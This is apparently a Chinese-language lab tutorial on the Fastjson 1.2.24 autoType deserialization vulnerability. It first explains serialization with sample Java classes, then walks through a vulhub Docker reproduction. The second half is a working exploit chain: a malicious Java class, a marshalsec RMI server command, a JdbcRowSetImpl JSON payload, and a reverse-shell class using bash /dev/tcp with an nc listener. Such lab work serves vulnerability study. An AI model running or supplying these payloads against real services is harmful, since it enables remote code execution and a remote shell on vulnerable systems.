Fastjson是一个阿里巴巴开源的一款使用Java语言编写的高性能功能完善的JSON库,通常被用于将Java Bean和JSON 字符串之间进行转换。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。但是,从诞生之初,fastjson就多次被爆出存在反序列化漏洞。并且,每次都和autoType有关!那么,什么是autoType呢?
fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
但是,fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。
其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:
1:基于属性
2:基于setter/getter
而我们所常用的JSON序列化框架中,FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json
首先我们定义一个User类
public class User {
private String name; //私有属性,有getter、setter方法
private int age; //私有属性,有getter、setter方法
private boolean flag; //私有属性,有is、setter方法
public String sex; //公有属性,无getter、setter方法
private String address; //私有属性,无getter、setter方法
public User() {
System.out.println("call User default Constructor");
}
public String getName() {
System.out.println("call User getName");
return name;
}
public void setName(String name) {
System.out.println("call User setName");
this.name = name;
}
public int getAge() {
System.out.println("call User getAge");
return age;
}
public void setAge(int age) {
System.out.println("call User setAge");
this.age = age;
}
public boolean isFlag() {
System.out.println("call User isFlag");
return flag;
}
public void setFlag(boolean flag) {
System.out.println("call User setFlag");
this.flag = flag;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", flag=" + flag +
", sex='" + sex + '\'' +
", address='" + address + '\'' +
'}';
}
/* interface Fruit {
}
class Apple implements Fruit {
private BigDecimal price;
//省略 setter/getter、toString等
}*/
}
然后我们在新建一个JsonTest类进行序列化和反序列化操作
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class JsonTest {
public static void main(String[] args) {
// 从1.2.25开始,autotype默认关闭
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 序列化字符
String serializedStr = "{\"@type\":\"com.wuya.test.User\",\"name\":\"wuya\",\"age\":66, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
System.out.println("serializedStr=" + serializedStr);
System.out.println("-----------------------------------------------\n\n");
//通过parse方法进行反序列化,返回的是一个JSONObject]
System.out.println("JSON.parse(serializedStr):");
Object obj1 =JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
System.out.println("parse反序列化:" + obj1);
System.out.println("-----------------------------------------------\n");
// 通过parseObject,不指定类,返回的是一个JSONObject
System.out.println("JSON.parseObject(serializedStr):");
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
System.out.println("parseObject反序列化:" + obj2);
System.out.println("-----------------------------------------------\n");
// 通过parseObject,指定为object.class
System.out.println("JSON.parseObject(serializedStr, Object.class):");
Object obj3 = JSON.parseObject(serializedStr, Object.class);
System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
System.out.println("parseObject反序列化:" + obj3);
System.out.println("-----------------------------------------------\n");
// 通过parseObject,指定为User.class
System.out.println("JSON.parseObject(serializedStr, User.class):");
Object obj4 = JSON.parseObject(serializedStr, User.class);
System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());
System.out.println("parseObject反序列化:" + obj4);
System.out.println("-----------------------------------------------\n");
}
}
然后右键运行,这是代码运行后的效果:
Fastjson序列化的时候,会调用成员变量的get方法,私有成员变量不会被序列化
反序列化的时候,会调用成员变量的set方法,publibc修饰的成员全部自动赋值
Fastjson中反序列化的方法有两种:
JSON.parseObject() 返回实际类型对象
User user1 = JSON.parseObject(serializedStr, User.class);
JSON.parse() 返回JsonObject对象
Object obj1 =JSON.parse(serializedStr);
使用docker搭建靶机环境,进入1.2.24-rce
docker-compose up -d
检查端口是否开放
docker-compose ps
访问目标服务器路径,如下
我们向这个地址POST一个JSON对象,即可更新服务器端的信息
curl http://192.168.0.112:8090/ -H "Content-Type:application/json" --data '{"name":"wd","age":20}'
{
"age":20,
"name":"wd"
}
然后我们编辑恶意类LinuxTouch:
public class LinuxTouch {
public LinuxTouch(){
try{
Runtime.getRuntime().exec("touch /tmp/fast-success.txt");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
LinuxTouch e = new LinuxTouch();
}
}
javac LinuxTouch.java
这是我们编译好的恶意类:
这里注意我编译java的版本,如果你复现不成功,可能是java版本的问题
python -m http.server 8089
我们这里kali机器的IP是192.168.0.112
最后,我们使用marshalsec-0.0.3-SNAPSHOT-all.jar起一个RMI服务器,监听9437端口,并制定加载远程类 LinuxTouch.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.112:8089/#LinuxTouch" 9473
提交如下payload
POST / HTTP/1.1
Host: 192.168.0.112:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 146
{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://192.168.0.112:9473/LinuxTouch",
"autoCommit": true
}
}
上靶标tmp目录查看,可以看到生成了success文件,由于我们这里使用的靶场是vulhub搭建的,所以生成的文件在docker的环境里
docker ps -a
docker exec 2d4a5ccec2db ls /tmp
如果想要建立反弹连接,LinuxTouch.java就得修改为反弹shell的命令了,我们这里新建一个Exploit类
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/53 0>&1"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
然后重复上面的步骤,kali机器开启监听
nc -lvvp 53
提交如下payload
POST / HTTP/1.1
Host: 192.168.0.112:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 146
{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://192.168.0.112:9473/Exploit",
"autoCommit": true
}
}
kali机器收到监听